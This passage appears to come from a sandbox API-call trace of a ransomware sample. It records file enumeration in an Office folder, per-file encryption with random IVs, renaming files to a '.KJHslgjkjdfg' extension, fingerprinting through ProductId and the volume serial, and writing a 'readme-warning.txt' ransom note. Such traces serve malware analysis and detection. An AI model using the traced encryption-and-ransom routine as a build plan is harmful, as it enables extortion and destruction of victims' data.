cAlternateFileName="GROOVE~1.XML")) returned 1 [0143.336] GetProcessHeap () returned 0x2a0000 [0143.337] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2cc) returned 0x2f7730 [0143.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.337] GetProcessHeap () returned 0x2a0000 [0143.337] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.337] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.337] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.337] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xf, lpOverlapped=0x0) returned 1 [0143.339] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.339] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.339] GetProcessHeap () returned 0x2a0000 [0143.339] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.339] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.339] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.339] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.339] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.339] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.339] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.339] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.339] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.339] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.339] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.340] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.340] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x391, lpOverlapped=0x0) returned 1 [0143.340] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x3a0) returned 1 [0143.340] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.340] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x3a0, lpOverlapped=0x0) returned 1 [0143.340] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.340] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.340] SetEndOfFile (hFile=0x13c) returned 1 [0143.342] GetProcessHeap () returned 0x2a0000 [0143.342] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.342] GetProcessHeap () returned 0x2a0000 [0143.343] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.343] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.kjhslgjkjdfg")) returned 1 [0143.347] CloseHandle (hObject=0x13c) returned 1 [0143.347] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.349] GetProcessHeap () returned 0x2a0000 [0143.349] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.349] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.349] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.349] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.351] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.351] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.351] GetProcessHeap () returned 0x2a0000 [0143.351] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.351] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.351] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.351] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.351] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.351] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.351] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.351] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.351] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.351] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.352] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.352] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.352] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5ac, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x5ac, lpOverlapped=0x0) returned 1 [0143.352] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x5b0) returned 1 [0143.352] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.352] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x5b0, lpOverlapped=0x0) returned 1 [0143.352] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.352] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.352] SetEndOfFile (hFile=0x13c) returned 1 [0143.354] GetProcessHeap () returned 0x2a0000 [0143.354] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.354] GetProcessHeap () returned 0x2a0000 [0143.354] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.355] CloseHandle (hObject=0x13c) returned 1 [0143.355] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.355] GetProcessHeap () returned 0x2a0000 [0143.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.355] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.355] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.355] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.355] GetProcessHeap () returned 0x2a0000 [0143.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.355] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.355] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.355] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.355] GetProcessHeap () returned 0x2a0000 [0143.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.355] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.355] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.356] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.356] GetProcessHeap () returned 0x2a0000 [0143.356] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.356] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.356] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.356] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.356] GetProcessHeap () returned 0x2a0000 [0143.356] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.356] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.356] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.356] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.356] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.356] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.356] RegCloseKey (hKey=0x13c) returned 0x0 [0143.356] GetProcessHeap () returned 0x2a0000 [0143.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.356] GetProcessHeap () returned 0x2a0000 [0143.356] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.356] GetProcessHeap () returned 0x2a0000 [0143.356] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.356] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.356] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.356] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.356] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.357] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.357] GetProcessHeap () returned 0x2a0000 [0143.357] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.357] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.357] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.357] GetProcessHeap () returned 0x2a0000 [0143.357] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.357] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\readme-warning.txt") returned 111 [0143.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.360] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.361] CloseHandle (hObject=0x13c) returned 1 [0143.361] GetProcessHeap () returned 0x2a0000 [0143.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.361] GetProcessHeap () returned 0x2a0000 [0143.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.361] GetProcessHeap () returned 0x2a0000 [0143.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.361] GetProcessHeap () returned 0x2a0000 [0143.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.361] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.361] GetProcessHeap () returned 0x2a0000 [0143.361] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.362] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0143.362] GetProcessHeap () returned 0x2a0000 [0143.362] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xce) returned 0x2ed148 [0143.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.363] GetProcessHeap () returned 0x2a0000 [0143.363] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.363] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0143.363] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0143.363] GetProcessHeap () returned 0x2a0000 [0143.363] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2d0) returned 0x2f7730 [0143.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.363] GetProcessHeap () returned 0x2a0000 [0143.363] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.363] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.363] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.363] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x1, lpOverlapped=0x0) returned 1 [0143.365] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.365] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.365] GetProcessHeap () returned 0x2a0000 [0143.365] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.365] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.365] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.365] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.365] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.365] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.365] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.366] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.366] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, 